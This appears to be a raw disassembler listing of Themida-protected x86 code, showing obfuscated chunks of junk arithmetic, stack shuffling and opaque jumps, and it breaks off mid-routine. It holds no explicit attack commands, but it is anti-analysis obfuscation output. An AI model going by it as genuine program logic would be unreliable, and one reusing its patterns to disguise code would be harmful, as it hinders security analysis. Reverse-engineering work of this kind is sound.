; START OF FUNCTION CHUNK FOR sub_591FC5
loc_590E9C: ; CODE XREF: sub_591FC5+D1BBj
sub ah, 0CAh
or ch, ah
jmp loc_592CCA
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_590EA6: ; CODE XREF: Themida_:005A2B1Ej
pop dword ptr [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_590EB7: ; CODE XREF: sub_5A0BFE-9A43j
mov ebp, [esp+0]
add esp, 4
jmp loc_5994D1
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_590EC2: ; CODE XREF: Themida_:005A1747j
add esi, ecx
sub esi, 5AA85319h
pop ecx
jmp loc_5A2B9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590ED0: ; CODE XREF: sub_59390B+260j
mov [esp+0], ecx
push ebp
mov ebp, 54F22DF3h
xor ebp, 54F22DF7h
mov ecx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
add [esp+4], ecx
pop ecx
pop dword ptr [esp+0]
add [esp-8+arg_0], 4
pop [esp-8+arg_0]
push edx
jmp sub_5A3EFB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_590EFF: ; CODE XREF: Themida_:00591FA5j
add bh, 0E3h
sub dh, 0E1h
sub dh, bh
add dh, 0E1h
mov ebx, [esp]
jmp loc_59F8A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590F12: ; CODE XREF: sub_59390B+4A49j
mov eax, ebx
mov ebx, [esp-8+arg_0]
jmp loc_598D3B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_590F1C: ; CODE XREF: sub_59D82E+Dj
inc ebx
sub ebx, 1A933884h
sub ecx, ebx
pop ebx
neg ecx
xor ecx, 0BB1A13D8h
push ecx
add dword ptr [esp+0], 47AB0347h
pop edx
sub edx, 47AB0347h
pop ecx
add ecx, edx
pop edx
xor ecx, [esp-0Ch+arg_8]
jmp loc_5976EA
; END OF FUNCTION CHUNK FOR sub_59D82E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590F49: ; CODE XREF: sub_59390B+3BEj
mov [esp-8+arg_0], eax
mov eax, 4
sub ecx, 496A01CEh
sub ecx, 6C3A0483h
add ecx, eax
push eax
jmp loc_5A1994
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_590F65: ; CODE XREF: sub_59338E+33F9j
add eax, 5596072Eh
not eax
add eax, 13BEA521h
jmp loc_59AAFB
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
loc_590F76: ; CODE XREF: Themida_:00591C48j
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 554D2E0Bh
jmp loc_597243
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590F8F: ; CODE XREF: sub_59390B+9F0Bj
mov si, [esp+0]
sub esp, 4
mov [esp+0], ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 13971A7Dh
push esi
mov esi, 7E8E60B8h
jmp loc_59C60B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_590FB2: ; CODE XREF: Themida_:0059BD38j
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
jmp loc_5A01C7
; ---------------------------------------------------------------------------
lodsd
push 40EAh
mov [esp], ebp
mov ebp, 611B0AA3h
push 778Dh
mov [esp], eax
mov eax, 74EE6D45h
xor ebp, eax
jmp loc_59CBE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_590FE0: ; CODE XREF: sub_59390B+2C6Bj
push [esp+8+var_4]
pop eax
jmp loc_5961D5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_590FEA: ; CODE XREF: sub_59B2AF+7578j
push 6EBDh
mov [esp+8+var_8], ecx
mov ecx, 4
add [esp+8+var_4], ecx
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_593379
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
loc_591009: ; CODE XREF: Themida_:00596442j
sub edx, 71271C5h
pop ebp
push esi
jmp loc_5A5876
; ---------------------------------------------------------------------------
loc_591016: ; CODE XREF: Themida_:0059BB64j
mov [esp], edi
push 59DCh
mov [esp], ecx
mov ecx, 59201139h
push ecx
pop edi
pop ecx
xor esi, edi
mov edi, [esp]
add esp, 4
jmp loc_5A3FDB
; ---------------------------------------------------------------------------
loc_591039: ; CODE XREF: Themida_:005A3B0Bj
mov edi, 10557D8Ch
push ebp
push 2C1969ACh
pop ebp
jmp loc_59FA75
; ---------------------------------------------------------------------------
loc_59104A: ; CODE XREF: Themida_:00595A05j
mov dx, [esp]
sub esp, 4
mov [esp], edi
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_5A581C
; ---------------------------------------------------------------------------
loc_591074: ; CODE XREF: Themida_:00592E59j
mov [esp], edi
mov edi, esp
push ebp
push esi
mov esi, 4
jmp loc_59ED6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_591085: ; CODE XREF: sub_59E918-5C2Fj
mov al, bl
pop ebx
add dh, al
pop eax
sub dh, 83h
xor cl, dh
pop edx
push 2731h
mov [esp+0Ch+var_C], ebx
push edx
mov dh, 0D0h
or dh, 0Ah
add dh, 7Bh
add dh, 0F6h
add dh, 0FAh
mov bh, dh
jmp loc_5A3D6A
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5910AF: ; CODE XREF: sub_59390B+113C5j
sub ebp, 0A6512055h
jmp loc_596238
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5910BA: ; CODE XREF: Themida_:005A1B10j
sub edi, 0E59364Eh
add edi, esi
push eax
mov eax, 0E59364Eh
add edi, eax
pop eax
pop esi
add ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
idiv cx
push small 2816h
jmp loc_59866D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5910EA: ; CODE XREF: sub_59390B+FC26j
push edx
mov edx, 40E5D8Ch
add edi, 27E60924h
add edi, edx
sub edi, 27E60924h
pop edx
push edi
pop esi
pop edi
jmp loc_59F05A
; ---------------------------------------------------------------------------
loc_591107: ; CODE XREF: sub_59390B+11F56j
or eax, eax
jz loc_59F872
push dword ptr [edi+1Ch]
push [esp+8+var_8]
pop ecx
jmp loc_5947F9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59111B: ; CODE XREF: Themida_:005A04ECj
sub eax, 1EC2650h
jmp loc_59987D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_591125: ; CODE XREF: sub_5A0BFE-1DDj
mov edx, [esp-4+arg_0]
jmp loc_59968D
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59112D: ; CODE XREF: sub_59390B+D855j
shl edx, 1
not edx
neg edx
sub edx, 4D2548Dh
jmp loc_5A0751
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59113E: ; CODE XREF: Themida_:0059D168j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5987B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59114F: ; CODE XREF: sub_59390B+12BDj
inc edi
xor edi, 0B144A9Fh
xor edi, 4722049Ch
sub ebx, edi
pop edi
add ebx, esi
push ebp
mov ebp, 4C064726h
add ebx, ebp
mov ebp, [esp+8+var_8]
add esp, 4
push [esp+4+var_4]
pop esi
jmp loc_5A59C1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59117B: ; CODE XREF: sub_59A75E+73A7j
push ecx
push esp
pop ecx
jmp loc_59155F
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_591183: ; CODE XREF: Themida_:005A179Ej
add ebp, 4
xchg ebp, [esp]
pop esp
push ecx
mov ecx, 1
add edi, 2FB80A22h
add edi, ecx
push esi
jmp loc_59C1EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5911A1: ; CODE XREF: sub_59390B+10E4Fj
push [esp+4+var_4]
mov edx, [esp+8+var_8]
jmp loc_59E024
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5911AC: ; CODE XREF: Themida_:0059FA04j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebp
mov ebp, esp
jmp loc_59DB4B
; ---------------------------------------------------------------------------
loc_5911BD: ; CODE XREF: Themida_:005A1AFAj
mov edi, esi
jmp loc_59E811
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5911C4: ; CODE XREF: sub_59390B+5590j
add edi, 54C72593h
sub edi, edx
sub edi, 54C72593h
pop edx
jmp loc_5A5046
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5911D8: ; CODE XREF: sub_59A75E+231Dj
xor ebx, 5B8967FFh
push edx
mov edx, 7D0A6B59h
xor ebx, edx
mov edx, [esp+8+var_8]
add esp, 4
sub ebx, 3DA03687h
xor ebx, 15E7702Ah
add ebx, 1162CAF8h
sub ebp, ebx
jmp loc_5A1CB3
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591205: ; CODE XREF: sub_59390B+763Fj
add ebp, 7E335069h
add ebp, esi
jmp sub_59C8A4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_591212: ; CODE XREF: sub_59822A+9E0Cj
pop ecx
xor eax, [esp+0]
jmp loc_59F99D
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59121B: ; CODE XREF: sub_5936EC+11C0Aj
add ebp, edi
mov edi, [esp+0Ch+var_C]
jmp loc_595B88
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591225: ; CODE XREF: sub_59390B+8BD6j
pop eax
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_599FD8
; ---------------------------------------------------------------------------
loc_59123F: ; CODE XREF: sub_59390B+781j
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591244: ; CODE XREF: Themida_:00593303j
mov [esp], eax
push ecx
mov cl, dl
jmp loc_5A3DCE
; ---------------------------------------------------------------------------
loc_59124F: ; CODE XREF: Themida_:005A3426j
xor esi, eax
jmp loc_597D16
; ---------------------------------------------------------------------------
loc_591256: ; CODE XREF: Themida_:0059E143j
inc ebx
neg ebx
push eax
mov eax, 5F2F7236h
xor eax, 5E8371ACh
jmp loc_5938B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591269: ; CODE XREF: sub_59390B+89CBj
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
pop esp
mov [esp+0], edi
mov edi, 4
push 6B2Eh
mov [esp+4+var_4], ebx
mov ebx, 750812h
sub ecx, ebx
pop ebx
add ecx, edi
add ecx, 750812h
mov edi, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], esi
jmp loc_596416
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_5912AA: ; CODE XREF: sub_59C8A4+27B1j
add eax, 75175CAFh
jmp loc_59CFEF
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
loc_5912B4: ; CODE XREF: Themida_:00598377j
sub ebx, ecx
jmp loc_5A2582
; ---------------------------------------------------------------------------
loc_5912BB: ; CODE XREF: Themida_:0059D898j
xor ebp, ebx
pop ebx
jmp loc_5A1ACA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5912C3: ; CODE XREF: sub_5A3536-BA2Bj
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5912C8: ; CODE XREF: sub_5995FC-34D5j
neg cl
add cl, 0A2h
add bl, cl
pop ecx
sub bl, dh
sub bl, 37h
mov edx, [esp+8+var_8]
add esp, 4
xor ch, bl
pop ebx
push small 0BF0h
mov word ptr [esp+2+var_4+2], ax
push ebx
mov bl, 85h
push ecx
mov cl, 0AEh
xor bl, cl
jmp loc_59DE29
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_5912F6: ; CODE XREF: Themida_:00598E90j
mov edx, esp
jmp loc_5A3ECA
; ---------------------------------------------------------------------------
loc_5912FD: ; CODE XREF: Themida_:0059C685j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov eax, [esp]
push ecx
mov ecx, esp
jmp loc_59C5CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_591313: ; CODE XREF: sub_599F38+3064j
push [esp+8+var_8]
jmp loc_5A57CB
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_59131B: ; CODE XREF: Themida_:005935B1j
sub esp, 4
jmp loc_5A3982
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_591326: ; CODE XREF: sub_595949+76F5j
xchg ecx, [esp+0Ch+var_C]
not ecx
xchg ecx, [esp+0Ch+var_C]
pop edi
sub esp, 4
jmp loc_5955E0
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
loc_591337: ; CODE XREF: Themida_:00592819j
mov [esp], esi
push ebx
mov ebx, 5845087Eh
add ebx, 26354680h
sub ebx, 7E7A4EFAh
mov esi, ebx
pop ebx
add [esp+4], esi
pop esi
jmp loc_5A41E4
; ---------------------------------------------------------------------------
loc_591359: ; CODE XREF: Themida_:00592E72j
mov edi, [esp]
add esp, 4
mov edi, esi
pop esi
jmp loc_59A913
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_591367: ; CODE XREF: sub_594A8D+6BBEj
push edi
push ebp
jmp loc_599877
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E93C
loc_59136E: ; CODE XREF: sub_59E93C-C3BBj
sub ebp, eax
pop eax
mov edi, ebp
push [esp+8+var_8]
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_593A6C
; END OF FUNCTION CHUNK FOR sub_59E93C
; ---------------------------------------------------------------------------
loc_591381: ; CODE XREF: Themida_:005A49DCj
add esp, 4
add edx, ecx
pop ecx
jmp loc_5A4FA0
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push eax
push 429Fh
mov [esp], esp
jmp loc_597F43
; ---------------------------------------------------------------------------
loc_5913A1: ; CODE XREF: Themida_:0059EEC8j
not edi
and edi, 39BB6EDFh
push ebx
mov ebx, 2627E61h
shr ebx, 6
sub ebx, 7ED1541Bh
push ecx
mov ecx, 677F3120h
jmp loc_5A2B47
; ---------------------------------------------------------------------------
loc_5913C3: ; CODE XREF: Themida_:00593279j
push ebp
mov ebp, 539727B0h
dec ebp
jmp loc_590D61
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5913CF: ; CODE XREF: sub_59390B+2F8Dj
add eax, 6E005AE2h
mov ecx, eax
pop eax
mov edx, [esp+0]
add esp, 4
add ecx, edi
push ebx
mov ebx, 0
add ebx, ecx
add [ebx], edx
pop ebx
push [esp-8+arg_0]
pop ecx
push ecx
push esp
pop ecx
jmp loc_594E54
; ---------------------------------------------------------------------------
loc_5913F6: ; CODE XREF: sub_59390B+8F3Cj
and esi, 6EAD2CAAh
sub esi, 1C6EAF95h
sub eax, esi
pop esi
jmp loc_593BE4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59140A: ; CODE XREF: sub_590AC5+14D4Aj
xor edx, 47A871B1h
jmp sub_59F53F
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591415: ; CODE XREF: sub_59390B+6A8Cj
mov esi, 5DC346CCh
add ebx, esi
pop esi
jmp loc_5A2D32
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_591422: ; CODE XREF: sub_59A431-4DF2j
mov ebx, 2B4758E4h
push 767Ch
jmp loc_5A3C84
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_591431: ; CODE XREF: Themida_:0059AE15j
mov [esp], ebp
jmp loc_5A0395
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591439: ; CODE XREF: sub_59390B+2762j
shr edx, 7
sub esp, 4
mov [esp-8+arg_0], ebx
jmp loc_59EBB0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591447: ; CODE XREF: Themida_:0059BD7Cj
push ebp
push esi
mov esi, 54E54CF6h
mov ebp, esi
mov esi, [esp]
add esp, 4
and ecx, ebp
pop ebp
jmp loc_5A49EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_59145E: ; CODE XREF: sub_594D13+7AE2j
not eax
jmp loc_5A12A7
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_591465: ; CODE XREF: sub_59A431+7EDCj
pop [esp+0Ch+var_C]
pop esp
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edi
push ebp
sub esp, 4
mov [esp+0Ch+var_C], edx
mov edx, 2BDF7A87h
mov ebp, 2E31F2F4h
sub ebp, edx
pop edx
and ebp, 7D5F260Eh
sub ebp, 24B1497Bh
shl ebp, 8
sub ebp, 0A0D68900h
mov edi, ebp
pop ebp
and eax, edi
push [esp+4+var_4]
push [esp+8+var_8]
push [esp+0Ch+var_C]
jmp loc_59F012
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59EA40
loc_5914BB: ; CODE XREF: sub_59EA40-4077j
mov edx, [esp+0]
push ebx
jmp loc_59BAB5
; END OF FUNCTION CHUNK FOR sub_59EA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5914C4: ; CODE XREF: sub_59390B+B0ACj
xor eax, 92DFDFB0h
jmp loc_5A2366
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5914CE: ; CODE XREF: Themida_:0059439Cj
push edx
mov edx, esp
jmp loc_5A13C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5947CA
loc_5914D6: ; CODE XREF: sub_5947CA+ABE6j
sub eax, 0BFA8F54Ah
or edi, eax
pop eax
sub edi, 1
xor edi, 537A7FFFh
add eax, edi
mov edi, [esp+0Ch+var_C]
jmp sub_5A21DE
; END OF FUNCTION CHUNK FOR sub_5947CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5914F4: ; CODE XREF: sub_59390B+5438j
pop eax
pop esi
pop ebp
jmp loc_59B9A3
; ---------------------------------------------------------------------------
loc_5914FC: ; CODE XREF: sub_59390B+C9Dj
xor esi, [esp-14h+arg_C]
xor [esp-14h+arg_C], esi
xor esi, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
jmp loc_5957E4
; ---------------------------------------------------------------------------
loc_59150D: ; CODE XREF: sub_59390B+146Cj
mov [esp-14h+arg_C], ecx
push edx
mov edx, 24h
push eax
push edx
sub [esp-8+arg_0], 6E005AE2h
jmp loc_59CBD8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591524: ; CODE XREF: Themida_:0059FD0Cj
mov ebp, 4FE842C0h
jmp loc_596447
; ---------------------------------------------------------------------------
loc_59152E: ; CODE XREF: Themida_:0059EB1Bj
pop ebx
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_59E77B
; ---------------------------------------------------------------------------
loc_591540: ; CODE XREF: Themida_:005A0C71j
pop edx
jmp loc_59E12A
; ---------------------------------------------------------------------------
loc_591546: ; CODE XREF: Themida_:00594567j
push eax
jmp loc_5A0979
; ---------------------------------------------------------------------------
loc_59154C: ; CODE XREF: Themida_:0059B93Dj
add esp, 4
add ebx, eax
jmp loc_5A1615
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591556: ; CODE XREF: sub_59390B+A59j
pop esp
add ecx, 2
jmp loc_594E1D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59155F: ; CODE XREF: sub_59A75E-95E0j
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebp
push eax
mov eax, 4
mov ebp, eax
pop eax
jmp loc_5A30F7
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_59157D: ; CODE XREF: Themida_:0059EF11j
push 3BD1h
mov [esp], edi
push ebx
mov ebx, 6740112Fh
mov edi, 0A7BEFCB4h
push ebx
mov ebx, 0A5524DEh
add edi, 3D073F12h
add edi, ebx
sub edi, 3D073F12h
pop ebx
jmp loc_5A34F6
; ---------------------------------------------------------------------------
loc_5915AA: ; CODE XREF: Themida_:0059DB8Ej
add eax, edx
jmp loc_59B602
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5915B1: ; CODE XREF: sub_59390B+B39Fj
mov edx, 46FE2D63h
jmp loc_59F3E4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5915BB: ; CODE XREF: Themida_:0059F680j
pop edx
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_5957D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_5915CA: ; CODE XREF: sub_5A21DE-BFDj
push ecx
mov ecx, 4
push ecx
pop edx
jmp loc_59712E
; END OF FUNCTION CHUNK FOR sub_5A21DE
; ---------------------------------------------------------------------------
loc_5915D7: ; CODE XREF: Themida_:0059BE71j
push 3268h
mov [esp], edx
mov edx, 0D6B012FFh
sub ebp, edx
mov edx, [esp]
add esp, 4
sub esi, ebp
pop ebp
push edi
mov edi, 30694815h
shl edi, 4
push ecx
push edx
mov edx, 4DAA6A83h
mov ecx, 0FF59B2D2h
jmp loc_59342F
; ---------------------------------------------------------------------------
loc_59160C: ; CODE XREF: Themida_:0059A8E0j
push esi
mov esi, 5580362Ah
sub esi, 79C04DC7h
sub edi, esi
pop esi
sub ebx, edi
mov edi, [esp]
jmp loc_59C115
; ---------------------------------------------------------------------------
loc_591625: ; CODE XREF: Themida_:005A578Dj
shl edi, 7
xor edi, 0EA145C35h
xor esi, edi
jmp loc_5939D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_591635: ; CODE XREF: sub_5A17BF-109ADj
push 34ADh
mov [esp+0Ch+var_C], esi
jmp loc_592BEA
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591642: ; CODE XREF: sub_59390B+991Bj
not al
shr al, 4
shl al, 8
sub al, 73h
jmp loc_59F5D2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_591651: ; CODE XREF: Themida_:00594C46j
not esi
xor esi, 286441B9h
add eax, esi
pop esi
jmp loc_5A28CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_591661: ; CODE XREF: sub_592E1C+4j
push eax
jmp loc_59AB17
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5969DC
loc_591667: ; CODE XREF: sub_5969DC+67A5j
add esi, edi
pop edi
sub esi, 4
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp-4+arg_0], esp
push esi
mov esi, 4
jmp sub_59F401
; END OF FUNCTION CHUNK FOR sub_5969DC
; ---------------------------------------------------------------------------
loc_591681: ; CODE XREF: Themida_:005A18F9j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push 6C30h
jmp loc_59CB3C
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
; ---------------------------------------------------------------------------
push edi
mov edi, esp
push edx
jmp loc_593B4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_5916A1: ; CODE XREF: sub_5A085D-AD24j
sub esi, ebx
mov ebx, [esp+10h+var_10]
add esp, 4
jmp loc_5964E0
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
loc_5916B1: ; CODE XREF: Themida_:00597030j
sub esp, 4
jmp loc_597FB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5916B9: ; CODE XREF: sub_5A4CDD-6FECj
dec ecx
xor ecx, 83CA8482h
xor eax, ecx
jmp loc_5A2E55
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5916C7: ; CODE XREF: sub_59390B+11BA1j
or dh, 0C8h
push edx
not byte ptr [esp-8+arg_0+1]
pop edx
sub dh, 0A4h
push 3CA8h
mov [esp-8+arg_0], ecx
mov ch, 0Eh
add ch, 0D4h
sub dh, ch
pop ecx
sub bl, dh
jmp loc_591CCA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5916EA: ; CODE XREF: Themida_:00599DDBj
push edx
mov edx, 32804FA2h
and edx, 1A3F1C94h
shl edx, 6
add edx, 91B614D9h
push edx
sub dword ptr [esp], 702C54FAh
pop eax
add eax, 702C54FAh
mov edx, [esp]
add esp, 4
add eax, 0EE46CB2Bh
sub esi, 4399290Bh
add esi, eax
jmp loc_598A5C
; ---------------------------------------------------------------------------
loc_591725: ; CODE XREF: Themida_:005A0129j
sub esp, 4
mov [esp], ecx
jmp loc_5953DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591730: ; CODE XREF: sub_59390B+120BCj
xor ebx, [esp-0Ch+arg_4]
xor [esp-0Ch+arg_4], ebx
xor ebx, [esp-0Ch+arg_4]
mov esp, [esp-0Ch+arg_4]
or byte ptr [esp-0Ch+arg_4], al
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_591745 proc near ; CODE XREF: sub_59390B+7E20j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591FB2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598190 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059A04D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A6A4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D239 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E55F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0D16 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A1A82 SIZE 0000000E BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 43487A37h
push ecx
mov ecx, 0BCB785CDh
add edx, ecx
jmp loc_59A04D
sub_591745 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_591760: ; CODE XREF: Themida_:0059BC13j
push esp
pop edi
push ebx
mov ebx, 4
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp]
pop esp
add ebx, ecx
pop ecx
push ecx
mov ecx, 38530135h
and ebx, ecx
pop ecx
push ebp
mov ebp, 223424E0h
neg ebp
shr ebp, 3
jmp loc_598408
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_591791: ; CODE XREF: sub_59E918+C09j
not bl
push ecx
mov ch, 0B6h
xor ch, 0EBh
or bl, ch
pop ecx
add bl, 99h
xor bl, 0FBh
